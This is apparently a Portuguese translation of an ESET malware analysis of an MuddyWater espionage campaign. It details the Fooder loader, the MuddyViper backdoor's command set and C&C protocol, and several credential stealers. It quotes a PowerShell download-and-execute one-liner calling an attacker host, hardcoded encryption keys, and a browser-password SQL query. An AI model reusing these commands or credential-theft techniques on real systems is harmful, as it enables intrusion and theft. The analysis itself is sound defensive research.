A equipe de pesquisa da ESET identificou uma nova atividade do MuddyWater que visa principalmente organizações em Israel, com um alvo confirmado no Egito. O MuddyWater, também conhecido como Mango Sandstorm ou TA450, é um grupo de ciberespionagem alinhado ao Irã, conhecido por seu persistente direcionamento a setores governamentais e de infraestrutura crítica, muitas vezes utilizando malware personalizado e ferramentas disponíveis publicamente.

Nessa campanha, os cibercriminosos implantaram um conjunto de ferramentas personalizadas e não documentadas anteriormente com o objetivo de melhorar a evasão e a persistência da defesa. Entre essas ferramentas está um loader Fooder personalizado e projetado para executar o MuddyViper, um backdoor C/C++. Várias versões do Fooder se disfarçam como o clássico jogo Snake, e sua lógica interna inclui uma função de atraso personalizada inspirada na mecânica do jogo, combinada com o uso frequente de chamadas à API Sleep.

Esses recursos têm o objetivo de atrasar a execução e impedir a análise automatizada. O MuddyViper permite que os cibercriminosos coletem informações do sistema, executem arquivos e comandos de shell, transfiram arquivos e exfiltrem credenciais de login do Windows e dados do navegador. A campanha também aproveita os ladrões de dados de login (CE-Notes e LP-Notes) e as ferramentas de tunelamento reverso (go-socks5), há muito tempo um dos favoritos dos operadores do MuddyWater.

Embora este seja o nosso primeiro post público sobre o MuddyWater, os pesquisadores da ESET têm acompanhado o grupo por vários anos e documentaram suas atividades em várias edições do APT Activity Report. Ao contrário das campanhas anteriores do MuddyWater, que muitas vezes eram barulhentas e facilmente detectadas, a que foi abordada neste post demonstra uma abordagem mais focada, sofisticada e refinada.

Pontos principais desta publicação:
  • Os desenvolvedores do MuddyWater adotaram o CNG, a API criptográfica do Windows de última geração, que é exclusiva para grupos alinhados ao Irã e um tanto atípica no cenário mais amplo de ameaças.
  • O grupo também usou técnicas mais avançadas para implantar o MuddyViper, um novo backdoor, usando um loader (Fooder) que o carrega reflexivamente na memória e o executa.
  • Fornecemos análises técnicas das ferramentas usadas nessa campanha, incluindo o MuddyViper, o loader Fooder, o credential stealers do navegador CE-Notes, o credential stealers LP-Notes, o credential stealers do navegador Blub e os túneis reversos go-socks5.
  • Durante essa campanha, os operadores da ameaça evitaram deliberadamente as sessões interativas com o teclado, que é uma técnica historicamente ruidosa, muitas vezes caracterizada por comandos digitados incorretamente.

Visão geral do grupo MuddyWater

O MuddyWater é um grupo de ciberespionagem ativo desde pelo menos 2017, visando principalmente organizações no Oriente Médio e na América do Norte. É um dos grupos APT alinhados ao Irã mais ativos rastreados pela equipe de pesquisa da ESET e tem ligações com o Ministério da Inteligência e Segurança Nacional do Irã.

O grupo foi apresentado pela primeira vez ao público como MuddyWater pela Unidade 42 em 2017, cuja descrição da atividade do grupo é consistente com o perfil da ESET - um foco na ciberespionagem, o uso de documentos maliciosos como anexos projetados para solicitar aos usuários que habilitem macros e contornem os controles de segurança, e um alvo principal de instituições localizadas no Oriente Médio.

Entre as atividades realizadas pelo grupo estão a Operation Quicksand (2020), uma campanha de ciberespionagem direcionada a órgãos governamentais e organizações de telecomunicações israelenses, que exemplifica a evolução do grupo de táticas básicas de phishing para operações mais avançadas de vários estágios; e uma campanha direcionada a grupos e organizações políticas na Turquia, demonstrando o foco geopolítico do grupo, sua capacidade de adaptar táticas de engenharia social a contextos locais e a dependência de malware modular e infraestrutura de C&C flexível.

Além de sua atividade frequente, as operações do MuddyWater costumam chamar à atenção. O grupo é conhecido por seu direcionamento persistente para os setores governamental, militar, de telecomunicações e de infraestrutura essencial, geralmente usando malware personalizado e ferramentas disponíveis publicamente para obter acesso, manter a persistência e exfiltrar dados confidenciais. Além de visar seu arqui-inimigo, Israel, o grupo parece ter como alvo países que mantêm, ou buscam fortalecer, laços diplomáticos com o Irã.

A ESET documentou várias campanhas atribuídas ao MuddyWater que destacam a evolução do conjunto de ferramentas do grupo e a mudança de seu foco operacional. Embora as operações anteriores tenham se baseado em um amplo direcionamento e em técnicas relativamente pouco sofisticadas, as campanhas mais recentes demonstram sinais de refinamento técnico e maior precisão.

Em março e abril de 2023, o MuddyWater atacou uma vítima não identificada na Arábia Saudita implantando um script em lote que baixou um backdoor baseado no PowerShell, que foi usado para baixar e executar cargas arbitrárias e, posteriormente, para remover a carga inicial do disco.

O grupo conduziu uma campanha em janeiro e fevereiro de 2025 que se destacou por sua sobreposição operacional com o Lyceum (um subgrupo do OilRig), detalhada em mais detalhes nesta publicação. Essa última sobreposição sugere uma evolução no modus operandi do MuddyWater.

As ferramentas personalizadas documentadas publicamente pelo grupo incluem, por exemplo, os backdoors Bugsleep, Blackout, Small Sieve, Mori e POWERSTATS, bem como variantes compiladas personalizadas de ferramentas de código aberto, como LaZagne ou CrackMapExec. As campanhas do MuddyWater normalmente não aproveitam nem introduzem novas ferramentas, malware ou técnicas; em vez disso, elas costumam ser notáveis devido ao direcionamento.

Embora o MuddyWater inicialmente tenha se concentrado estritamente na ciberespionagem, sua cooperação com o Lyceum levou à segmentação do setor de manufatura por meio de spearphishing. O ataque gerou um ruído considerável e alcançou pouco em termos de objetivos operacionais.

A campanha descrita neste post mostra o que, para o MuddyWater, parece ser um avanço sem precedentes no conjunto de ferramentas e na execução técnica.

Vitimologia

Como mencionado anteriormente, durante essa campanha, o MuddyWater visou principalmente organizações em Israel, mas também uma no Egito. A Tabela 1 lista as vítimas por país e vertical. A campanha começou em 30 de setembro de 2024 e terminou em 18 de março de 2025.

Tabela 1. Vítimas por país.

Country Vertical
Egypt Technology
Israel Engineering #1
Engineering #2
Engineering #3
Local Government #1
Local Government #2
Manufacturing
Technology
Transportation
Utilities
University #1
University #2
University #3
Unidentified #1
Unidentified #2
Unidentified #3
Unidentified #4
Unidentified #5

Um aspecto interessante a ser observado sobre a vítima na vertical de serviços públicos é que ela também foi comprometida pelo Lyceum em 11 de fevereiro de 2025.

Sobreposição e cooperação com o Lyceum

No início de 2025, a equipe de pesquisa da ESET identificou uma sobreposição operacional entre o MuddyWater e o Lyceum, um subgrupo do grupo de ciberespionagem OilRig, alinhado ao Irã, também conhecido como HEXANE ou Storm-0133. O OilRig está ativo desde pelo menos 2014 e acredita-se que esteja baseado no Irã. As ferramentas que atribuímos ao Lyceum incluem DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX e uma variedade de downloaders que utilizam serviços de nuvem legítimos para comunicação C&C. Observamos anteriormente que o Lyceum tinha como alvo várias organizações israelenses, incluindo órgãos governamentais nacionais e locais, bem como organizações do setor de saúde.

Durante a campanha abordada aqui, o MuddyWater conduziu uma subcampanha conjunta com a OilRig em janeiro e fevereiro de 2025. O MuddyWater iniciou o acesso por meio de um e-mail de spearphishing contendo um link para um instalador do software de gerenciamento e monitoramento remoto (RMM) Syncro. Após o comprometimento inicial, os cibercriminosos instalaram uma ferramenta adicional de RMM, o PDQ, e implantaram um loader Mimikatz personalizado disfarçado de arquivos de certificado com extensões de arquivo .txt. Com base na atividade observada, as credenciais coletadas provavelmente foram usadas pelo Lyceum para obter acesso e assumir o controle das operações dentro da organização do setor de manufatura visada em Israel.

Essa cooperação sugere que o MuddyWater pode estar atuando como um intermediário de acesso inicial para outros grupos alinhados ao Irã.

Atribuição

A vitimologia, as TTPs e as ferramentas observadas nessa campanha se alinham com vários dos recursos e ferramentas recentemente documentados que atribuímos anteriormente ao MuddyWater. Essa avaliação baseia-se no método de acesso inicial e na entrega subsequente de ferramentas perigosas, geralmente por meio de e-mails de spearphishing que contêm links para download do software RMM.

TTPs

Os operadores do MuddyWater continuam confiando em backdoors previsíveis e baseados em scripts escritos em PowerShell e Go. Seus alvos continuam concentrados nos setores de telecomunicações, governamental e de petróleo e energia.

O acesso inicial é normalmente obtido por meio de e-mails de spearphishing, geralmente contendo anexos em PDF com links para instaladores de software de RMM hospedados em plataformas gratuitas de compartilhamento de arquivos, como OneHub, Egnyte ou Mega. Esses links levam ao download de ferramentas de RMM, incluindo Atera, Level, PDQ e SimpleHelp.

Entre as ferramentas implantadas pelos operadores do MuddyWater está também o backdoor VAX-One, cujo nome vem do software legítimo que ele imita: Veeam, AnyDesk, Xerox e o serviço de atualização do OneDrive.

A confiança contínua do grupo nesse manual familiar torna sua atividade relativamente fácil de detectar e bloquear.

Sobreposição de ferramentas

Além disso, identificamos sobreposições de código entre várias das ferramentas recém-documentadas e aquelas que atribuímos anteriormente ao MuddyWater:

  • O LP-Notes, um novo ladrão de credenciais, tem o mesmo design do CE-Notes, um ladrão de dados de navegador, que associamos anteriormente ao MuddyWater. Durante essa campanha, também observamos um carregador Mimikatz, que compartilha o mesmo design e métodos de ofuscação do CE-Notes.
  • Observamos diversas novas variantes dos túneis reversos go-socks5 personalizados do MuddyWater, que o grupo usou ao longo de 2024 e 2025.
  • Em dois casos, observamos os túneis reversos personalizados do go-socks5 incorporados em um novo carregador da MuddyWater, chamado internamente de Fooder. Em uma dezena de outros casos, esse carregador foi usado para carregar o novo backdoor da MuddyWater, o MuddyViper.
  • É interessante notar que o MuddyViper e as variantes do loader CE-Notes/LP-Notes/Mimikatz usam a API CNG para criptografia e descriptografia de dados. Até onde sabemos, isso é exclusivo de grupos alinhados ao Irã. Outra característica que essas ferramentas compartilham é que elas tentam roubar as credenciais do usuário abrindo uma falsa caixa de diálogo de segurança do Windows.

Conjunto de ferramentas

Nesta postagem do blog, documentamos ferramentas personalizadas anteriormente desconhecidas usadas pelo MuddyWater:

  • Fooder loader - um loader recém-identificado que carrega o backdoor do MuddyViper na memória e o executa. Observe que várias versões do Fooder se disfarçam como o clássico jogo Snake, daí a designação MuddyViper. Outra característica notável do Fooder é o uso frequente de uma função de atraso personalizada que implementa a lógica central do jogo Snake, combinada com as chamadas da API Sleep. Esses recursos têm o objetivo de atrasar a execução em uma tentativa de ocultar o comportamento mal-intencionado dos sistemas de análise automatizados.
  • Backdoor MuddyViper - um backdoor C/C++ anteriormente não documentado que permite que os invasores coletem informações do sistema, façam download e upload de arquivos, executem arquivos e comandos do shell e roubem credenciais do Windows e dados do navegador.

O restante do conjunto de ferramentas documentado neste blogpost inclui:

  • CE-Notes, um ladrão de dados de navegador,
  • LP-Notes, um ladrão de credenciais,
  • Blub, um ladrão de dados de navegador, e
  • vários túneis reversos go-socks5.

Carregador Fooder

O Fooder é um carregador C/C++ de 64 bits projetado para descriptografar e, em seguida, carregar reflexivamente a carga útil incorporada (conforme ilustrado na Figura 1), sendo o MuddyViper a carga útil observada com mais frequência.

Figure 1. Relationships between Fooder and its launcher and payload
Figura 1. Relações entre o Fooder e seu launcher e payload.

Fooder parece ser o nome interno dessa ferramenta, com base em seus caminhos de PDB:

  • C:\Users\win\Desktop\Fooder\Debug\Launcher.pdb
  • C:\Usuários\pc\Desktop\main\My_Project\Fooder\x64\Debug\Launcher.pdb

Embora tenhamos capturado apenas uma amostra, acreditamos que o Fooder é executado por um aplicativo lançador simples, escrito em C. Ele não tem ofuscação de cadeia de caracteres e registro detalhado no console, e o caminho do PDB permanece intacto:

C:\Users\pc\source\repos\ConsoleApplication7\x64\Release\ConsoleApplication7.pdb

Observamos uma instância (SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082) do componente que está iniciando o Fooder. Implantado com o nome %USERPROFILE%\Downloads\OsUpdater.exe, o iniciador espera uma ID de processo como argumento de linha de comando. Uma vez executado, ele tenta duplicar o token do processo especificado por meio da API DuplicateTokenEx e, em seguida, usa CreateProcessAsUserA para executar o Fooder.

Uma vez executado, o Fooder descriptografa o payload incorporado seguindo estas etapas:

  • O argumento da linha de comando(6) é adicionado a cada byte de uma chave codificada, o que produz a chave de descriptografia AES, compartilhada em todas as amostras, 6969697820511281801712341067111416133321394945138510872296106446.
  • Um valor codificado(5) é subtraído de cada byte da carga útil codificada.
  • Por fim, a carga útil codificada é descriptografada usando a API WinCrypt e a chave AES.

Em seguida, o Fooder carrega a carga útil diretamente na memória usando técnicas reflexivas, permitindo que ela seja executada sem depender de chamadas de sistema padrão ou gravação em disco.

Uma vez iniciado, o Fooder foi usado para entregar não apenas o MuddyViper, mas também o HackBrowserData, um utilitário de código aberto capaz de descriptografar e exportar informações confidenciais do navegador, como credenciais e cookies. O Fooder também facilita a implantação de variantes do go-socks5, que são binários compilados em Go que funcionam como túneis reversos, permitindo que os invasores contornem firewalls e mecanismos de NAT (Network Address Translation). Notavelmente, o grupo MuddyWater utilizou anteriormente o go-socks5 independentemente do Fooder, indicando uma dependência contínua dessa ferramenta para comunicação furtiva em rede e exfiltração de dados.

Observe que várias versões do Fooder se disfarçam como o jogo Snake - veja as strings e os mutexes destacados na Figura 2 - sua carga útil incorporada com mais frequência.

Figure 2. Multiple Fooder instances masquerade as the Snake game
Figura 2. Várias instâncias do Fooder se disfarçam como o jogo Snake.

Outra característica notável do Fooder é o uso frequente de uma função de atraso personalizada (que implementa a lógica central do jogo Snake, em que o jogador manobra a extremidade de uma linha crescente, muitas vezes com o tema de uma cobra, para evitar obstáculos e coletar itens) e as chamadas da API Sleep. O atraso na execução é obtido imitando a função de atraso baseada em loop: como no jogo Snake, em que cada movimento é controlado por um loop que espera por um curto período antes de atualizar o jogo. O loop introduz atrasos na execução que retardam o comportamento do malware, ajudando-o a evitar ferramentas que monitoram a atividade maliciosa rápida. A Figura 3 destaca os atrasos e o banner de boas-vindas do jogo Snake apresentado ao usuário em tempo de execução.

Figure 3. Various calls to delay execution are dispersed throughout Fooder’s code
Figura 3. Várias chamadas para atrasar a execução estão dispersas no código do Fooder.

O Fooder não tem nenhum recurso de persistência incorporado. No entanto, nos casos em que a carga útil final do Fooder é o backdoor MuddyViper, o backdoor pode configurar a persistência para o carregador por meio de uma tarefa agendada ou da pasta Startup.

Backdoor do MuddyViper

O MuddyViper, um backdoor não documentado anteriormente, escrito em C e C++, permite obter acesso secreto e controle sobre sistemas comprometidos. Observamos o MuddyViper apenas na memória, carregado pelo Fooder, o que pode ser a razão pela qual não há ofuscação ou criptografia de strings. Como é típico do MuddyWater, o MuddyViper envia mensagens de status extremamente detalhadas e frequentes ao seu servidor C&C durante toda a sua execução, como as seguintes:

  • [+] Persist: -------------------- Hi,I am Live --------------------
  • [+] Persist: -------------------- Hi,First Time --------------------
  • [-] Persist: failed Create task !!!!

O backdoor também mantém uma longa lista de mais de 150 nomes de processos e detalhes sobre os respectivos produtos para poder enviar relatórios detalhados sobre as ferramentas de segurança detectadas no ambiente comprometido, embora a adição dos detalhes pudesse ter sido facilmente implementada no lado do servidor:

  • [>] Processo: aciseagent.exe ~~> (Cisco Umbrella Roaming Security) --> (Security DNS) encontrado!
  • [>] Processo: acnamagent.exe ~~> (Absolute Persistence) --> (Asset Management) encontrado!
  • [>] Processo: acnamlogonagent.exe ~~> (Absolute Persistence) --> (Asset Management) encontrado!

Esse comportamento resulta em um tráfego de rede substancial.

O MuddyViper tem dois métodos para estabelecer a persistência:

  • Seu diretório de instalação pode ser configurado como uma pasta de inicialização do Windows, definindo os seguintes valores de registro para %APPDATALOCAL%\Microsoft\Windows\PPBCompatCache\ManagerCache

    HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup.

    hKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup.

  • Uma tarefa agendada chamada ManageOnDriveUpdater pode iniciar o MuddyViper a partir do caminho em cada inicialização do sistema.

O MuddyViper suporta 20 comandos de backdoor (consulte a Tabela 2 para obter detalhes sobre todos eles), incluindo a capacidade de abrir e operar shells reversos, baixar, carregar e executar arquivos, relatar as ferramentas de segurança em execução, roubar credenciais de usuário e dados de uma variedade de navegadores, configurar sua própria persistência e desinstalar-se.

Tabela 2. Comandos do backdoor MuddyViper

ID Arguments Action Response
200 N/A N/A 0, via the GET /adad or GET /aq36 request, to obtain a backdoor command.
207 N/A Decrypts the embedded HackBrowserData tool and reflectively loads it in a new thread. This open-source tool can steal credentials, history, and other information from web browsers.
MuddyViper then compresses the collected data (into a file named CacheDump.zip) and uploads it to the C&C server.
Collected browser data, via the GET /mq65 request.
In case of an error, a custom status message is sent instead.
300 <command_line> Launches a reverse shell using:
 • the provided command line (command ID 300)
 •  C:\windows\system32\cmd.exe (command ID 301)
 •  C:\windows\system32\WindowsPowerShell\v1.0\Powershell.exe (command ID 302)
Then, in a loop, uploads the process output to the C&C server and interprets the server response (see command IDs 350-352) until interrupted.
Process output, via the GET /oi32 request.
In case of an error, a custom status message is sent instead.
301 N/A
302 N/A
350 N/A Must follow command IDs 300-302. Sleeps for a preconfigured amount of time – for the reverse shell loop, the default is one second.
351 Sleep time (in milliseconds) Must follow command IDs 300-302. Configures the sleep time for the reverse shell loop – the default is one second.
352 Input for the reverse shell. Must follow command IDs 300-302. Passes the provided argument to the running reverse shell.
360 N/A Not implemented, likely related to the reverse shell API. A custom error message:
[-] Agent does not have an active pipe
400 Flag. Must follow command ID 401. It confirms that the C&C server has successfully received a part of the exfiltrated local file. Optionally adjusts the sleep before the next upload specified in command ID 401 to 10 seconds. No response, unless this command is issued outside of a pending file upload process, it sends a custom error message:
[-] Agent does not have an DOWNLOAD file
401 Sleep time (in milliseconds), filename. Initiates a file upload operation from the specified local file to the C&C server in chunks, with the specified sleep time between each upload. Contents of the specified file, via a series of GET /dadw requests.
500 Data chunk. Must follow command ID 501. Writes the received data chunk into a previously created and opened local file. A custom error message, if the operation fails.
501 Sleep time (in milliseconds), filename. Downloads a file from the C&C server in chunks into a local file with the specified name. The specified sleep time is used as a delay after downloading each data chunk. Deletes the file if the connection cannot be established after six consecutive attempts. A series of GET /dadwqa requests, to request the file contents.
700 Sleep time (in milliseconds) Configures the sleep time between connection attempts to the specified value (default is 60 seconds). N/A
800 N/A Enumerates running processes, searching for selected security tools from an extensive hardcoded list. For each detected process, sends a report with the following information, populated from that hardcoded table:
[>] Process: <process_name> ~~> (<product_name>) --> (<category>) found!
805 Timeout (in milliseconds) Displays a fake Windows Security dialog (see Figure 4), prompting the user to fill in credentials, which are then exfiltrated to the C&C server. Uses the provided argument as a timeout for the dialog. Collected credentials, via the GET /rq13 request:
[+] creds ~~> Username:<username> ~~> Password:<password>
If not successful, a custom error message is sent instead.
806 N/A Sets up persistence via a scheduled task named ManageOnDriveUpdater. The backdoor copies itself to its installation path, unless it is already running from there. A custom status message, depending on the outcome of the operation.
900 N/A Uninstalls itself. First, clears persistence set via a Windows Startup Folder and then deletes itself.
Note that this action will not clear the persistence via a scheduled task that can be set by the backdoor command ID 806.
A custom status message, depending on the outcome of the operation.
905 N/A Terminates the current backdoor process. N/A
906 N/A Relaunches itself (via the CreateProcessW API) and terminates the current process. A custom status message, depending on the outcome of the operation.
other N/A N/A [-] Agent statusCode I don't have it

Um dos comandos listados na Tabela 2, com ID 805, exibe uma caixa de diálogo falsa do Windows Security em uma tentativa de induzir a vítima a preencher suas credenciais do Windows, como visto na Figura 4. Uma técnica semelhante é usada pelo LP-Notes stealer do MuddyWater (consulte LP-Notes credential stealer).

Figure 4. Fake Windows Security dialog displayed by MuddyViper (command ID 805)
Figura 4. Diálogo falso de segurança do Windows exibido pelo MuddyViper (ID de comando 805).

Outro comando, com ID 900, visa remover o MuddyViper da máquina comprometida e limpar sua persistência; no entanto, o comando não remove todos os rastros do backdoor.

Protocolo de rede

Para se comunicar com seu servidor C&C, o MuddyViper usa solicitações HTTP GET (por meio da API WinHTTP) na porta 443, com o sinalizador WINHTTP_FLAG_SECURE configurado para usar SSL/TLS. Dois servidores C&C foram observados: processplanet[.]org e 35.175.224[.]64.

Ambas as direções de comunicação AES-CBC criptografam os dados, usando a API CNG com a chave (usada em todas as amostras) 0608101047106453101617106423101013101012101083109710108585106969 e o IV 0.

No sentido backdoor → servidor das comunicações:

  • Cada URI de endpoint compatível com o servidor C&C pode ser usado pelo backdoor para um tipo específico de solicitação, como solicitação de um comando, upload de um arquivo ou envio de uma mensagem de status personalizada.
  • Dados adicionais para o servidor C&C são incluídos no corpo da solicitação HTTP, o que não é convencional para solicitações HTTP GET.
  • A string User-Agent é A WinHTTP Example Program/1.0, um remanescente do código de exemplo para a API WinHttpOpen.
  • Os tempos limite de conexão, envio, recebimento e resposta são definidos como 30 segundos.
  • O tempo de espera padrão entre tentativas consecutivas de conexão é de 60 segundos. Esse valor pode ser configurado pelo comando ID 700.
  • Em caso de falha, as tentativas de conexão são repetidas até 10 vezes.
  • Antes da criptografia, os dados são sempre formatados como <nome_do_computador>/<nome_do_usuário>*<dados>.

No sentido servidor → backdoor das comunicações:

  • O código de status HTTP determina a ID do comando backdoor.
  • Os argumentos do comando backdoor são incluídos no corpo da resposta HTTP.

Ladrão de dados do navegador CE-Notes

O CE-Notes é um ladrão de dados de navegador que batizamos com o nome do arquivo - ce-notes.txt - usado para armazenar os dados roubados no disco. Descobrimos o CE-Notes em 2024, quando observamos o MuddyWater implantando versões EXE e DLL dele no sistema de uma organização em Israel.

O CE-Notes foi baixado com o seguinte comando do PowerShell:

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-Expression

Ambas as versões do ladrão de dados do navegador tentam roubar e descriptografar a chave de criptografia vinculada ao aplicativo armazenada no arquivo Local State(%APPDATA%\Local\Google\Chrome\User Data\Local State) dos navegadores Chromium (Chrome, Brave e Edge). A criptografia vinculada a aplicativos foi introduzida na versão 127 do Chrome, permitindo que o Chrome criptografe dados vinculados à identidade do aplicativo. Os criminosos cibernéticos e os grupos APT perceberam e estão tentando ativamente contornar a criptografia vinculada a aplicativos para roubar chaves de sessão. O CE-Notes é bastante semelhante ao ChromElevator no GitHub.

Os dados coletados são criptografados em AES-CBC usando a API CNG com a chave 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F e o IV 4103A09887B82FFD56A93BB431805224.

Em seguida, os dados criptografados são armazenados no disco em C:\Users\Public\Downloads\ce-notes.txt para recuperação posterior (provavelmente por meio de uma ferramenta de RMM, já que nem as versões EXE nem DLL têm qualquer meio de exfiltrar o arquivo). A principal diferença entre o EXE e a DLL é a funcionalidade de evasão de máquina virtual adicionada à DLL.

Observamos o CE-Notes browser-data stealer nos seguintes locais:

  • C:\system2.dll
  • C:\Usuários\Público\Downloads\system2.dll
  • C:\Intel\system.dll
  • C:\20240926_165509.exe

Ladrão de credenciais LP-Notes

O LP-Notes é um ladrão de credenciais do Windows em C/C++ com o mesmo design do ladrão de dados do navegador CE-Notes. Seguindo a mesma convenção de nomenclatura do caso do CE-Notes, batizamos o stealer de LP-Notes com base no arquivo local que ele usa para preparar as credenciais roubadas antes da exfiltração: C:\Users\Public\Downloads\lp-notes.txt (vs. C:\Users\Public\Downloads\ce-notes.txt). O único objetivo do LP-Notes é induzir as vítimas a enviar suas credenciais exibindo uma caixa de diálogo falsa do Windows Security, solicitando que elas digitem seu nome de usuário e senha do Windows. Observamos uma instância do LP-Notes sendo baixada e executada pelo PowerShell com uma linha de comando muito semelhante à mostrada na seção CE-Notes.

Inicialização

Na execução, o LP-Notes começa procurando por um processo chamado taskhostw.exe (Processo Host para Tarefas do Windows) e, em seguida, personificando o contexto de segurança do processo (por meio da API ImpersonateLoggedOnUser ); somente então o LP-Notes ativa sua carga maliciosa.

O LP-Notes emprega várias técnicas simples de ofuscação, incluindo uma rotina personalizada baseada em adição para a descriptografia de strings. A Figura 5 mostra a função que descriptografa cadeias de caracteres de comprimentos que variam de 15 a 19 caracteres, embora a chave de descriptografia seja sempre a mesma: um conjunto de constantes predefinidas que são adicionadas ou subtraídas de cada byte da cadeia. É interessante notar que o CE-Notes usa a mesma rotina de descriptografia, exceto por uma chave de descriptografia diferente, conforme mostrado na Figura 6.

Figure 5. LP-Notes string decryption routine
Figura 5. Rotina de descriptografia de strings do LP-Notes.
Figure 6. CE-Notes string decryption routine, similar to that of LP-Notes
Figura 6. Rotina de descriptografia de strings do CE-Notes, semelhante à do LP-Notes.

O LP-Notes usa o empilhamento de strings para strings com menos de 15 ou mais de 19 caracteres, incluindo a chave de descriptografia, o IV e os nomes de importação. Por fim, para ocultar o uso das funções da API do Windows e tornar a análise estática mais desafiadora, o LP-Notes resolve dinamicamente as funções da API durante a inicialização do tempo de execução do C, antes da execução da função WinMain, o ponto de entrada padrão para um aplicativo gráfico baseado no Windows da Microsoft, ocultando assim as referências diretas às funções da API da visualização do pseudocódigo (consulte a Figura 7).

Figure 7. LP-Notes WinMain function with obfuscated import names vs deobfuscated view
Figura 7. FunçãoWinMaindo LP-Notes com nomes de importação ofuscados (esquerda) vs. visualização desofuscada (direita).

Recursos

Em um loop infinito, o LP-Notes exibe uma caixa de diálogo falsa do Windows Security solicitando que a vítima digite seu nome de usuário e senha do Windows, conforme mostrado na Figura 8 (por meio da API CredUIPromptForWindowsCredentialsW ). Observe que, embora semelhante, esse não é o mesmo prompt de credencial falso usado pelo MuddyViper (consulte a Figura 4). Ele confirma imediatamente a validade de qualquer credencial enviada tentando fazer logon como esse usuário (por meio das APIs CredUnPackAuthenticationBufferW e LogonUserW ).

Figure 8. A fake Windows Security dialog displayed by LP-Notes
Figura 8. Uma caixa de diálogo falsa de segurança do Windows exibida pelo LP-Notes

Se forem bem-sucedidas, as credenciais coletadas serão criptografadas em AES-CBC usando a API CNG com a chave ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC e o IV 91A4E6F6D51DAEE773A8F00279792578.

Semelhante ao CE-Notes, o LP-Notes armazena as credenciais criptografadas em um arquivo local - neste caso, C:\Users\Public\Downloads\lp-notes.txt. Como nenhum desses componentes tem a capacidade de exfiltrar dados, é provável que outro componente cuide disso (uma ferramenta RMM ou o MuddyViper).

Ladrão de dados do navegador Blub

O Blub é um credential stealers de navegador em C/C++ que incorpora uma biblioteca SQLite vinculada estaticamente. O nome é derivado de seu nome de arquivo, Blub.exe. Observamos o caminho do PDB C:\Users\jojo\source\repos\stealer\x64\Release\stealer.pdb. Ele rouba dados de login do usuário dos navegadores da Web Google Chrome, Microsoft Edge, Mozilla Firefox e Opera.

Navegadores baseados no Chromium

Para o Chrome, o Blub primeiro encerra o chrome.exe (se estiver em execução) e, em seguida, analisa e descriptografa a chave de criptografia de C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State. Essa chave é usada para criptografar dados confidenciais armazenados pelo Chrome, como senhas ou cookies, e é protegida pela API de proteção de dados (DPAPI), de modo que só pode ser descriptografada no sistema em que foi originalmente criptografada. O Blub descriptografa essa chave por meio da API CryptUnprotectData e a utiliza para descriptografar as credenciais de usuário obtidas de todos os perfis de usuário do Chrome existentes no computador comprometido. As credenciais, armazenadas em C:\Users\<username>\AppData\Local\Google\Chrome\User Data\<profile_name>\Login Data, são obtidas por meio da seguinte consulta SQL:

SELECT origin_url, username_value, password_value FROM logins

Uma série semelhante de etapas é usada para obter e descriptografar as credenciais de usuário dos perfis de usuário do Microsoft Edge e do Opera, usando a chave obtida em C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Local State e C:\Users\<username>\AppData\Roaming\Opera Software\Opera Stable\Local State, respectivamente.

Firefox

Por fim, para descriptografar as credenciais de usuário armazenadas para o Mozilla Firefox, o Blub analisa os valores de hostname, encryptedUsername e encryptedPassword do arquivo logins.json no diretório de perfil de cada usuário, ou seja, %APPDATAROAMING%\Mozilla\Firefox\Profiles\<profile_name>\. As credenciais são então descriptografadas usando a função PK11SDR_Decrypt da biblioteca nss3.dll usada pelo Firefox.

Os dados coletados são armazenados em um arquivo local chamado file.txt, sem criptografia. Os mesmos dados são registrados no console, sem criptografia, juntamente com mensagens de status detalhadas. O Blub não tem capacidade de exfiltrar esse arquivo.

Observe que o Blub verifica se há processos em execução associados a soluções de segurança antes de executar seu payload malicioso, concentrando-se na combinação dos processos afwServ.exe (firewall da Avast) e AvastSvc.exe (antivírus da Avast). Se o afwServ.exe for detectado em execução (mas não o AvastSvc.exe), o Blub conclui que o Norton está em execução (que agora usa o mecanismo do Avast) no host comprometido e sai. Se o AvastSvc.exe (Avast) for detectado, o Blub continua com a execução, exceto pelo fato de que ele pula o roubo de credenciais do Microsoft Edge.

Embora as cadeias de caracteres do Blub sejam armazenadas em texto claro, uma técnica simples de ofuscação é usada para cadeias de caracteres associadas à funcionalidade de roubo de dados do Google Chrome. Especificamente, várias cadeias de caracteres são concatenadas em uma cadeia longa, com 16 caracteres aleatórios entre elas, aparentemente para ocultá-las da visualização durante a análise estática:

gdGlog}o{eRwjpw&"encrypted_key":FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW'xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~

A remoção dos caracteres indesejados e a divisão das cadeias de caracteres retornam:

  • "encrypted_key":
  • ImpersonateLogge
  • OpenProcessToken
  • DuplicateTokenEx

Túneis reversos go-socks5

Os túneis reversos go-socks5 da MuddyWater são uma coleção de ferramentas compiladas em Go, baseadas em bibliotecas disponíveis publicamente, como go-socks5, yamux e resocks; elas têm sido usadas com frequência nas campanhas recentes do MuddyWater.

A maioria das variantes que analisamos parece ter o nome interno de ESETGO (sem relação com a ESET), com base nas sequências de configuração de compilação mostradas na Figura 9 e em outros artefatos.

path  ESETGO
mod   ESETGO	(devel)
dep   github.com/armon/go-socks5	v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
dep	  github.com/hashicorp/yamux	v0.1.1	h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE=
dep	  golang.org/x/net	v0.29.0	h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
dep	  golang.org/x/sys	v0.25.0	h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
build -buildmode=exe
build -compiler=gc
